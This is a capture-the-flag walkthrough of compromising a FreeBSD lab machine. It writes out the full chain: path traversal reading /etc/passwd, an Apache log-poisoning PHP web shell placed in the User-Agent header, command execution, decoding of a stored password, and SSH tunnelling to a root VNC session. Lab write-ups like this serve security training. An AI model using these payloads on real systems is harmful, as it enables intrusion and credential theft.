Reconnaissance & Service Discovery
A full TCP port scan was conducted using rustscan to identify open services on the target:
rustscan -a 10.129.1.254 -- -sCV -oN target
Nmap Scan Results
- Port 22/TCP (SSH): OpenSSH running on FreeBSD.
- Port 80/TCP (HTTP): Apache HTTP Server hosting a PHP script testing utility.
Web Enumeration & Path Traversal
Navigating to http://10.129.1.254/ reveals a simple web utility designed to view and test PHP scripts. When selecting an example script from the interface, the application constructs the URL with a file GET parameter:
http://10.129.1.254/browse.php?file=ini.php
We tested for a Path Traversal / Local File Inclusion (LFI) vulnerability by traversing directories to read /etc/passwd:
http://10.129.1.254/browse.php?file=../../../../../../../etc/passwd
The system returned the contents of /etc/passwd, revealing:
- Operating System: FreeBSD.
- User account:
charix(home directory:/home/charix).
Attempting to read SSH private keys directly (/home/charix/.ssh/id_rsa) returned no data, indicating that key authentication was either unconfigured or inaccessible.
Initial Access: Apache Log Poisoning (RCE)
Since the web application is running on Apache over FreeBSD, we checked if default server log files were readable through the LFI endpoint. On FreeBSD, Apache access logs reside at /var/log/httpd-access.log.
Testing the log path:
http://10.129.1.254/browse.php?file=../../../../../../../var/log/httpd-access.log
The log contents were returned successfully. Because the Apache web server logs the client’s User-Agent header verbatim into this file without sanitizing PHP tags, we can perform Log Poisoning to achieve Remote Code Execution.
1. Poisoning the Access Log
We sent an HTTP request containing a simple PHP command execution wrapper inside the User-Agent header:
GET / HTTP/1.1
Host: 10.129.1.254
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
Or via curl:
curl -s -H "User-Agent: Mozilla/5.0 <?php echo system(\$_GET['cmd']); ?>" "http://10.129.1.254/"
2. Executing System Commands
By requesting the poisoned log file through browse.php, any command passed to the cmd parameter is executed by PHP:
http://10.129.1.254/browse.php?file=../../../../../../../var/log/httpd-access.log&cmd=ls
The directory listing revealed an interesting backup file: pwdbackup.txt.
3. Exfiltrating and Decoding Credentials
To isolate the command output from the extensive log entries, we appended a delimiter string (echo "FINAL"):
http://10.129.1.254/browse.php?file=../../../../../../../var/log/httpd-access.log&cmd=cat+pwdbackup.txt;echo%20%22FINAL%22
The content of pwdbackup.txt stated:
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
The payload is a nested Base64 encoded string. We decoded it through 13 consecutive Base64 decoding passes (using CyberChef or bash):
pass="Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU..."
for i in {1..13}; do pass=$(echo "$pass" | base64 -d); done; echo "$pass"
The resulting cleartext password for user charix is:
Charix!2#4%6&8(0
4. SSH Login
We established an interactive SSH session as charix:
ssh charix@10.129.1.254
Privilege Escalation
1. Internal Reconnaissance & Secret File Extraction
Listing files in /home/charix revealed an encrypted archive named secret.zip.
We downloaded the archive to our local machine using scp:
scp charix@10.129.1.254:secret.zip .
Unzipping secret.zip with the password Charix!2#4%6&8(0 extracted a binary file named secret:
unzip secret.zip
file secret
The file is an 8-byte raw binary file, matching the structure of a standard VNC authentication secret.
2. Process and Listening Port Auditing
On the target machine, we audited running processes using FreeBSD syntax (ps -auwwx):
ps -auwwx
Output:
Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
A TightVNC (Xvnc) server is running under the root account, using display :1 with RFB port 5901 and authentication file /root/.vnc/passwd.
Checking active local listening ports:
netstat -an -p tcp
- Port 5801: TightVNC HTTP Java Viewer (bound to
127.0.0.1). - Port 5901: TightVNC RFB Protocol Port (bound to
127.0.0.1).
3. SSH Local Port Forwarding & VNC Exploitation
Because port 5901 is restricted to 127.0.0.1 (-localhost), we established an SSH tunnel to forward remote port 5901 to our local port 5901:
ssh -L 5901:127.0.0.1:5901 charix@10.129.1.254
With the tunnel active, we connected using vncviewer, specifying the extracted secret file as the password file:
vncviewer -passwd secret 127.0.0.1:5901
The VNC viewer successfully authenticated and opened an interactive graphical desktop session with a terminal running directly as root, completing the full compromise of the system.